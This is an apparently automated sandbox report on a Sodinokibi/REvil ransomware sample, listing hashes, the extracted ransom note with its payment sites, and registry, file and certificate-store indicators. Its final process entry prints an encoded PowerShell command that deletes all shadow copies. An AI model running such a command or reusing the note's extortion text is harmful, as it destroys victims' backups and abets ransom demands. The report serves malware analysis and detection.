sodinokibi | fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22

General

Target

fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
Size

166KB
MD5

9c21e23a91e0488d8df5e65b5d29a2fe
SHA1

f032814f2e072178a0c20d7500c2e1e4352aca39
SHA256

fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22
SHA512

6a9008181203b1d02e62256c62d41e6788caf16b60977ff796bff8b4c42efc815b092082ee99d92d459c54f3b6e440ecfa16d5bfff9a63aa099f48ba20fc53b1

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Path

C:\06fp30-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 06fp30. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5755C63FBF55DAB7 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/5755C63FBF55DAB7 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: LOgY9TUhPIdz1pMOTQK0nw1wn145t+TlalqSEvnAa7AiPkS5yGTLLCPp1ECioW1o OBkXTAX655iSngyUEdkaV+7UgEHkL7aBza7wwGOl+ue5lU1veRITpvMNQlo1RNds tyFrX1U71+O4Lyr4vShHLi7mx/vMZMXNaH3htQ6/cyRHpfjLec5C5O/UkkZDe0V8 NHbJjlmSdXK1/l9/c8GreNK1IUBbJnNVexXfkdWicbabt9hbRdqUoz75xEQ2TOyV 9gzX0ye61foBIFbSQUDqlqqkHqxT6+Msg6uMsGQn0hEoDyYcFMyvXRuvfRq55Cwm vJJjTMm/e5Bg13zCGnMGeKwZO4869u4K+snIDb11KBA8aD8zzl3Am7qZs9PP+U7K kxmSncrX2aS0zZGVMJNM5Q5p11ZlL1Pch+OzYLbVaDwSmnsmAGQEbBTidOMPys1x rNUnxJMaaVIi5AxwVKhuT8D9IrEQYI/4LmVSKfV/RxCwOnmTAEI5xgF0INphUaT+ gw9j+LIYp6jk2LJIsHpol3NrhaqgUhUlzrPyVuBuaMJ6ZCLmAgphr9DTDWJgMOIn MDZdZDlWMmAtizfrXgbv/fQA6EEmS5FCnz1w1hSAY0aiNo/MBQMK4RI9x6tce+2h ntOdvuyoJXtFpUOHVQ9i8tV1gmMddKOGrBKQj9NKm9mVmxOXVHWVASyLuNUPVdvv WR1FAQLYUsM4/A5w+EQ5UcTK7TZ1sgw19pfRwWtm8f7tN820crCCUNJbEN8hdvpy jEnLplzvyxl8DDMu+n6tRRdcAbay3pM+3BRxVAGFZtR2JMx9Lui6jAtpgntHmEDD 8HTPNhSQFQ7AV0ZlQeDHUyYUPuQ9OgF4oReMP2zTPw19lRLOy9OEsYnETTydZCmD AXzlaJy6UwAthCIqEkiQQEp8JgTgBeccmWGytOF2kIEMmwVSL20FLRyzTSLRHcBb /DP3+halRaIOJw2ck/DyS/oqDkDNkedp0RXpocSKSarmRf/aAeAHYz6+9noS73ZS Gt6K0PlTzq/4OvLYV/c1FGfHdn0RIEqTJ53/Zj54Ggwq3U+dHn8C+LR8wGQ6PHVB P2W8QMUsS1N8nXeTfkddNJ+LqsIG3v7UtnHefNQ+jbrEbQ2Ee27ijlxT9WmP1fKl 3+qcZ3S4jeyXzttoAGTIZ8/lXOXQjkp/hZ9RImA0WqD/MYZKt19ss9Ijnxl/sLUQ r9N5olUCFHqxICD436QgY8gYTE+bjdOuKmokhpAz6fa3bS1Mz9hkcMbN7WNjneDq osIPLJGdEkZc+5fH5fSAIA== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5755C63FBF55DAB7

http://decryptor.cc/5755C63FBF55DAB7

Signatures

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4048	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeBackupPrivilege	580	vssvc.exe
Token: SeRestorePrivilege	580	vssvc.exe
Token: SeAuditPrivilege	580	vssvc.exe
Token: SeTakeOwnershipPrivilege	4048	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

description	pid	process	target process
PID 4048 wrote to memory of 3832	4048	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe	powershell.exe
PID 4048 wrote to memory of 3832	4048	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe"	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2b9ghd7jhl5l.bmp"	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exepowershell.exe

pid	process
4048	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
4048	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe

Drops file in Program Files directory 33 IoCs

Processes:

fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

description	ioc	process
File opened for modification	\??\c:\program files\SearchBlock.vssm	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\DisablePush.xsl	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\EnterUninstall.dib	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\DenyFormat.avi	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\SuspendGrant.jtx	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\GroupEdit.mp4v	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\OpenRequest.ex_	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\RedoUnpublish.crw	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\RestoreBlock.dwg	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\SplitRestart.nfo	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\SyncResume.ppt	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\UninstallConvert.M2V	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File created	\??\c:\program files\06fp30-readme.txt	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\NewLimit.vssx	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\SetConnect.rle	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\UninstallPop.xltx	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\UnlockStart.rm	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\AddFind.pdf	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\PingStep.emz	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\RenameSearch.ini	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\ShowUnlock.jpg	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\NewUnprotect.dotx	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\RenameCompress.wvx	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\GetRedo.ppsm	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\LimitFormat.rtf	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\RegisterInstall.ps1xml	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\SendUninstall.xhtml	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File created	\??\c:\program files (x86)\06fp30-readme.txt	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\ConnectComplete.odp	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\SplitUnblock.crw	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\SwitchRevoke.pcx	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\CompressDismount.bmp	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
File opened for modification	\??\c:\program files\SearchOptimize.zip	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030106082b0601050507030706082b0601050507030206082b0601050507030406082b0601050507030353000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d5503000000010000001400000002faf3e291435468607857694df5e45b6885186820000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0400000001000000100000001d3554048578b03f42424dbf20730a3f03000000010000001400000002faf3e291435468607857694df5e45b688518681d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030106082b0601050507030706082b0601050507030206082b0601050507030406082b060105050703030f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030106082b0601050507030706082b0601050507030206082b0601050507030406082b0601050507030353000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d5503000000010000001400000002faf3e291435468607857694df5e45b688518680400000001000000100000001d3554048578b03f42424dbf20730a3f20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 5c0000000100000004000000000800000400000001000000100000001d3554048578b03f42424dbf20730a3f03000000010000001400000002faf3e291435468607857694df5e45b688518681d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030106082b0601050507030706082b0601050507030206082b0601050507030406082b060105050703030f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868	fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

C:\Users\Admin\AppData\Local\Temp\fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe
"C:\Users\Admin\AppData\Local\Temp\fcb9ba05f921f7af41dba56b278c39715a8631c27048c70d098574e7ec20db22.bin.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
- Modifies system certificate store
PID:4048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3832